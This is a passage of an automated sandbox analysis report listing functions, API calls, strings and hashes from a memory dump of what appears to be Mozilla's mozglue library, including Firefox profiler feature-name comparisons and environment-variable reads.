Function 6C639F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C63A824
0, xrefs: 6C63A100
@, xrefs: 6C63A625
' , xrefs: 6C63A3D8
9, xrefs: 6C63A5D6
0, xrefs: 6C63AB22

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 810564a45103db11b95599ed9aac74e5a27e1cd888356054a3b99141e58731bf
Instruction ID: 439a9470a983cb20c9266c15efa5e28d38c12d417da68cd24552171b5018c2e2
Opcode Fuzzy Hash: 810564a45103db11b95599ed9aac74e5a27e1cd888356054a3b99141e58731bf
Instruction Fuzzy Hash: 2082E4315083318BDF11CF89C4842AEB7F1EB81718F55BA1DE8DD47A92D3399885EB4A

Function 6C62BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C62C1CB
__aulldiv.LIBCMT ref: 6C62C24C
__aulldiv.LIBCMT ref: 6C62C348
__aullrem.LIBCMT ref: 6C62C365
__aulldiv.LIBCMT ref: 6C62C37D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 75edd0bcb2407da33371e78c5c20864d3dd85cbcd2a5940b3bc550b5a58e2e36
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: BD323632B086019FD718DE2CC891A56BBE6AFC9310F09866DE896CB3D5D734ED05CB91

Function 6C6777A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C677A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C677A93

Part of subcall function 6C645C50: GetTickCount64.KERNEL32 ref: 6C645D40
Part of subcall function 6C645C50: EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C645D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C677AA1

Part of subcall function 6C645C50: __aulldiv.LIBCMT ref: 6C645DB4
Part of subcall function 6C645C50: LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C645DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C677B31

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 75aed8231fedc7848541c18af4a7291328a4a09a57547429fe3e1de8a8c0c9d4
Instruction ID: 8642d6065621fa6c4b4c245f916f68b0d8b61baf896b7578864c786248d27054
Opcode Fuzzy Hash: 75aed8231fedc7848541c18af4a7291328a4a09a57547429fe3e1de8a8c0c9d4
Instruction Fuzzy Hash: E1B19F316083818BDB25CF24C45069FB7E2AFC6318F154E2CE99567790DB70E90ACB9B

Function 6C648850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6497EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C649813, 6C64985D, 6C649878, 6C649CEB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 7dc9a21316654c685decc90f72bbd625b704b6d9089d2078e6ce5a006e4668b3
Instruction ID: 5641b301f3dd9b7019a7648964cf980d320caad548e5e6ba42d818ec91d45f44
Opcode Fuzzy Hash: 7dc9a21316654c685decc90f72bbd625b704b6d9089d2078e6ce5a006e4668b3
Instruction Fuzzy Hash: 55D2A071A457018FC718CF18C690715BBE6BF86328F29C76DD86A8B7A5C731E841CB88

Function 6C666CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C666D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C666E1E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: a33d7f1a54ad270ea6bd916ee4b408643f3703a5d61afbc388436451e2721105
Instruction ID: 34032c85a2127bf55a3fb0f757a7ad83db8b8ca0f27fa52b5250c3cae14f15ee
Opcode Fuzzy Hash: a33d7f1a54ad270ea6bd916ee4b408643f3703a5d61afbc388436451e2721105
Instruction Fuzzy Hash: 0AA17D746183858FC715CF25D4907AEBBE2BF89308F44491DE48A87B51DB70E849CB9B

Function 6C68B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C65FE3F), ref: 6C68B720
RtlNtStatusToDosError.NTDLL ref: 6C68B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C65FE3F), ref: 6C68B760

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 56dc78179f7ac7cdfb1c5a1d1e9f5c159a56237ccc3a9da44c49183a346a55d9
Instruction ID: fe13d6a35e21691b4c0186ce8228ca63c308d19a4f86f1e9db4821a64f5458ce
Opcode Fuzzy Hash: 56dc78179f7ac7cdfb1c5a1d1e9f5c159a56237ccc3a9da44c49183a346a55d9
Instruction Fuzzy Hash: ABF0AFB0A0130DAEEF119AE18C84BEEBBBC9B84319F505129E512616C0D774A59CC76C

Function 6C644640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C644777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C645585, 6C6455A8, 6C6455C3, 6C645624

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a10ca6420c220186d0ec55321eacbf2082f4d7b7828cc7817889476bba96835d
Instruction ID: 513a8dccaf48dd6a3ff9d9457fdc4246f1a3b75560a3f1405abbde90b268c05f
Opcode Fuzzy Hash: a10ca6420c220186d0ec55321eacbf2082f4d7b7828cc7817889476bba96835d
Instruction Fuzzy Hash: 8DB27E71A057018FD308CF19C591725FBE2BFC5328B29C7ADE46A8B6A5D771E841CB88

Function 6C6885F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C688C7C
__aulldiv.LIBCMT ref: 6C688DD7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: a858ce8582519086a9f1b1f78f3dceb84ea76ae2a9db27cca3f4fbf4c770185d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 11328231F011198BDF18CE9CC8A17AEF7B2FB88304F15853AD406BB7A4D6749D858BA5

Function 6C6976E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qbl, xrefs: 6C697796, 6C6979FB, 6C697E0B, 6C6979C0, 6C697B0B, 6C69793C

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: ~qbl
API String ID: 0-3965202050
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 606014483dc5292ef27021f20857eac2f78259f77bf3a7362061afa76f3e76f6
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 93320A71E0061A8FCB14CF98C890AADFBF2FF89308F548169C549A7745D731A986CF94

Function 6C696E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qbl, xrefs: 6C697C72, 6C697C03, 6C6979FB, 6C697E0B, 6C6979C0, 6C697B0B, 6C69793C

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: ~qbl
API String ID: 0-3965202050
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 7aa3ad5e19b05f9baa0175bcf700813fe362731234a63c2065599be732128eda
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 2A22E971E0021A8FCB14CF98C880AADF7F2FF89304F6481AAC549A7755D731A986CF94

Function 6C665C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C634A63,?,?), ref: 6C665F06

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: e169874d288e7a14ae2f86d7cbaf01c70eca87595aa3a0e60551289d7effc2bd
Instruction ID: c533e1a8944b3abb7e1adad69356b3958d934db81b2af32dd4c1aa86495c7859
Opcode Fuzzy Hash: e169874d288e7a14ae2f86d7cbaf01c70eca87595aa3a0e60551289d7effc2bd
Instruction Fuzzy Hash: 23C1CF75E012098BCB14CF96C5916EEBBF2FF8A318F28415DD8556BB42D732A806CF85

Function 6C62DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d23151512a67214c86bfad6dd428fa201b2e99c57f80e5bf7091aae08ed4bb9
Instruction ID: ca49eea04b3ce81160e028a1f249656390b1da27982893df81291c86b29f1a82
Opcode Fuzzy Hash: 9d23151512a67214c86bfad6dd428fa201b2e99c57f80e5bf7091aae08ed4bb9
Instruction Fuzzy Hash: C3429172A187518BD304CE3CC49075AB3E2BFC9355F094B3DE999A7790D738D9418B86

Function 6C650512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d5e4776aa4892501fa35ed3565460b08db64f4a5561bfdcf742b295403924e1a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B9222971E04619CFCB24CF98C890AADF7B2FF89308F648199C54AA7705D731A996CF94

Function 6C69AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f819a085a926dc41eb05233e291f261e782202b6d34104f5af6cdf9fb7de8263
Instruction ID: bf8bec97432ad2f939a8e36cee3775c67c393f230d6b7937eaaf06ed3c5dbd41
Opcode Fuzzy Hash: f819a085a926dc41eb05233e291f261e782202b6d34104f5af6cdf9fb7de8263
Instruction Fuzzy Hash: A8F14C71E087468FD700CF28C8903AAB7E2AFC6318F158A1DE8D587792E774D849C796

Function 6C62C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 6f31aa2f381d90e9d14f575f51068ff97999d810f5d2d4282c73ac5ab1bcec93
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: E9A1A371F0061A9BEB04CE69C8917AEB7E2EFC9354F148129D916A7781D7349C058FD0

Function 6C667710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c9a1c8fe3be61afeb29145a7fbe5ba4fd8dd583758cc9df55b96e14de1f63451
Instruction ID: aee4a5202b8d43d908cc3e7eb0a15bd0f6dd778d94e54252c732d83446448364
Opcode Fuzzy Hash: c9a1c8fe3be61afeb29145a7fbe5ba4fd8dd583758cc9df55b96e14de1f63451
Instruction Fuzzy Hash: 1E715C75E012198FCB18CFA9D8905EDBBB2FF89314F24816ED416ABB40D731A905CF95

Function 6C66CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C63582D), ref: 6C66CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C63582D), ref: 6C66CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C69FE98,?,?,?,?,?,6C63582D), ref: 6C66CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C63582D), ref: 6C66CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C63582D), ref: 6C66CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C63582D), ref: 6C66CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63582D), ref: 6C66CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C66CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C66CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C66CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C66CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C66CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C66CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C66CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C66CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C66CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C66CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C66CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C66CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C66CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C66CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C66CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C66CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C66CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C66CE8A

Strings

default, xrefs: 6C66CC21
markersallthreads, xrefs: 6C66CE42
Unrecognized feature "%s"., xrefs: 6C66CEA0
fileioall, xrefs: 6C66CCA8
nativeallocations, xrefs: 6C66CDA8
mainthreadio, xrefs: 6C66CC7C
nostacksampling, xrefs: 6C66CD7C
stackwalk, xrefs: 6C66CCF8
java, xrefs: 6C66CC37
samplingallthreads, xrefs: 6C66CE2C
audiocallbacktracing, xrefs: 6C66CDD4
notimerresolutionchange, xrefs: 6C66CE00
seqstyle, xrefs: 6C66CCE6
fileio, xrefs: 6C66CC92
screenshots, xrefs: 6C66CCD4
cpuallthreads, xrefs: 6C66CE16
noiostacks, xrefs: 6C66CCBE
leaf, xrefs: 6C66CC66
power, xrefs: 6C66CE84
ipcmessages, xrefs: 6C66CDBE
processcpu, xrefs: 6C66CE6E
preferencereads, xrefs: 6C66CD92
unregisteredthreads, xrefs: 6C66CE58
jsallocations, xrefs: 6C66CD0E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: cc6c538b098d9596237402c8978f87bce8d9f6b7f34ee1a1f4701f3c391928db
Instruction ID: 4b97fa247d5176fa55e5bd9441b8061a9985e437586f26ce55c4aa48a2fe01e5
Opcode Fuzzy Hash: cc6c538b098d9596237402c8978f87bce8d9f6b7f34ee1a1f4701f3c391928db
Instruction Fuzzy Hash: 9D5169D1945A2673FE003157AD20BEA1485EF5334AF544536EF1BA1E80FF09A60AC9BF

Function 6C6347C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C634801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C634817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C63482D
__Init_thread_footer.LIBCMT ref: 6C63484A

Part of subcall function 6C65AB3F: EnterCriticalSection.KERNEL32(6C6AE370,?,?,6C623527,6C6AF6CC,?,?,?,?,?,?,?,?,6C623284), ref: 6C65AB49
Part of subcall function 6C65AB3F: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C623527,6C6AF6CC,?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65AB7C

GetCurrentThreadId.KERNEL32 ref: 6C63485F
GetCurrentThreadId.KERNEL32 ref: 6C63487E
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C63488B
free.MOZGLUE(?), ref: 6C63493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C634956
free.MOZGLUE(00000000), ref: 6C634960
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C63499A

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

free.MOZGLUE(?), ref: 6C6349C6
free.MOZGLUE(?), ref: 6C6349E9

